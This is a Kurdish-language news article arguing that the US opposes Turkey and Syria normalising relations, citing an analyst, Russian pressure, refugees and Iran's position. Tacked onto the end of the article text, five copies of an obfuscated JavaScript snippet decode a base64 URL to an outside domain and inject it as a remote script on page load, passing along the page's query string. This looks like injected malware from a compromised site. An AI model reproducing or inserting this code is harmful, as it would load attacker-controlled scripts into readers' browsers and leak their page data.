ئەمریکا نەڤێت د رەوشا نها دا تورکیا و سووریێ پەیوەندیێن خوە ئاسایی بکەن
چاڤدێرێن سیاسی دیار دکەن هەکە نها تورکیا و سووریێ پەیوەندیێن خوە ئاسایی بکەن ئەو یەک دێ زیانەکا خوە یا مەزن بۆ ئەمریکا هەبیت، چونکی ئەمریکا یا بەرهەڤ نینە بێی مەرج هێزێن خوە ژ سووریێ ڤەکێشیت و هەروەسا ئەمریکا بزاڤا نها ژی وەکو پیلانەکا رۆسیا ل دژی خوە دبینیت.
فەهیم تاشتەکین بسپۆرێ کاروبارێن رۆژهەلاتا ناڤین دیار کر، تورکیا د سیاسەت سووریێ دا گەلەک تەنگاڤ بوویە، ژ بەر ڤێ یەکێ ژی ئەردۆغانی دڤێت ب هەر رەنگێ هەی ل گەل بەشاری دەست ب قۆناغەکا نوو بکەت، چونکی نها ل سووریێ رەوشەکا نوو هاتیە پێش، ئێدی کەس بەحسێ دوورخستنا بەشاری ژ دەستهەلاتێ ناکەت، بەشار ئەسەد ژی د چەند سالێن بۆری دا شیا ب پشتەڤانیا ئیرانێ و رۆسیا پێگەهێ خوە بهێز بکەت و پشتی هەلبژارتنان ژی بەشاری دڤێت ل گەل وەلاتێن جیهانێ ژی دەست ب قۆناغەکا نوو بکەت، لێ هەتا نها بەشار ئەسەد بەرهەڤ نینە ل گەل ئەردۆغانی کۆمبیت.
ناڤهاتی ئەو یەک ژی دیار کریە، هەکە بەشار ئەسەد بێی مەرج ل گەل ئەردۆغانی کۆمبیت ئەو یەک دێ زیانەکا خوە یا مەزن بۆ وی هەبیت، چو نها تورکیا پشکەک ژ ئاخا سووریێ یا داگیر کری و سووریێ ژی دڤێت بەری هەر تشتەکێ تورکیا هەموو هێزێن خوە ژ ئاخا وێ ڤەکێشیت، لێ هێشتا دیار نینە کا د هەڤدیتنێن نهێنی یێن چەند رۆژێن بۆری دا ئەردۆغانی چو سۆز نوو داینە بەشاری یان نە.
سەبارەت ب هەلوەستێ ئەمریکا ژی بسپۆرێ کاروبارێن رۆژهەلاتا ناڤین دیار دکەت، ئەمریکا سەرمایەک مەزن د سووریێ مەزاخت و نها ژی هێزێن ئەمریکا ل چەندین دەڤەرێن ستراتیژی ل باکورێ سووریێ ئانکۆ ل دەڤەرێن کوردی هەنە، ئەمریکا دڤێت ب رێیا پشتەڤانیا کوردان بۆ دەمەکێ درێژ ل سووریێ مینیت، نەمانا ئەمریکا ل سووریێ د رەوشەکا وەسا ئالۆز دا بێگومان دێ کریگرا خوە ل سەر بەرژەوەندیێن ئەمریکا ل هەموو رۆژهەلاتا ناڤین کەت، ژ بەر ڤێ یەکێ ژی جارێ د بەرنامێ ئەمریکا دا نینە خوە ژ سووریێ ڤەکێشیت.
فەهیم تاشتەکین ئەو یەک ژی دیار کریە، ئەمریکا باش دزانیت رۆسیا ب هەموو شیانێن خوە دڤێت تورکیا و سووریێ پەیوەندیێن خوە ئاسایی بکەن، هەکە تشتەک وەسا روو بدەت دێ وی دەمی فشارێن زێدە ل ئەمریکا ژی هێنە کرن دا هێزێن خوە ژ ئاخا سووریێ ڤەکێشیت، ژ بەر ڤێ یەکێ ژی نها ئەمریکا ل دژی هندێ یە تورکیا و سووریێ دەست ب قۆناغەکا نوو بکەن.
ل ئالیێ دی چاڤدێرێن سیاسی ژی وەسا دبینن تورکیا دڤێت ل گەل سووریێ پرسێن هەی چارەسەر بکەت، چونکی تورکیا د سیاەتا خوە ا ل ووریێ دا سەرکەفتی نەبوو، نها ژی سێ ملیۆن پەنابەرێن سووریێ ل تورکیا دژین و بووینە بارگرانی بۆ وی وەلاتی، تورکیا دڤێت خوە ژ بابەتێ پەنابەرێن سووریێ ژی قورتال بکەت، رێیا هەری باش ژی ئەوە دڤێت تورکیا پرسێن هەی ل گەل شامێ چارەسەر بکەت، شام ژی ڤێ راستیێ باش دزانیت و ژ بەر ڤێ یەکێ ژی زێدەبارێ فشارێن رۆسیا، هەتا نها بەشار ئەسەد یێ بەرهەڤ نینە بێی مەرج ل گەل ئەرۆغانی کۆمبیت.
ل گۆر باوەریا چاڤدێرێن سیاسی نها پێگەهێ بەشاری ل گۆر چەند سالێن بۆری بهێزترە، بەشار ئەسەد باش دزانیت تورکیا سەبارەت ب پرسا سووریێ گەلەک تەنگاڤ بوویە، د هەمان دەمی دا حوکمەتا سووریێ باش دزانیت نه باشترین دەمە دا هندەک داخوازیێن خوە ل سەر ئەنقەرە فەرز بکەت، ژ بەر ڤێ یەکێ ژی چەندین جارن بەرپرسێن سووریێ ب رەنگەکێ ئاشکرا دیار دکەن هەتا هێزێن تورکیا ل ئاخا سووریێ بن و هەروەسا تورکیا پشتەڤانیێ ل گرۆپێن چەکدار بکەت ئەو ل گەل تورکیا دەست ب چو دانوستاندنان ناکەن.
دەزگەهێن راگەهاندنا تورکیا ژی دیار دکەن، تورکیا دڤێت ب رێیا وەلاتەکێ دی جودا ژ رۆسیا ژی بزاڤا دەستپێکرنا قۆناغەکا نوو ل گەل شامێ بکەت، لێ هەتا نها ئیران ژ بۆ ڤێ یەکێ یا هاریکار نینە، چونکی دبیت ئاسایبوونا پەیوەندیێن تورکیا و سووریێ د رەوشا نها دا بۆ ئیرانێ یا باش نەبیت، چونکی ب سالانە ئیران ژی ل دی سیاسەتا تورکیا ل سووریێ یە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
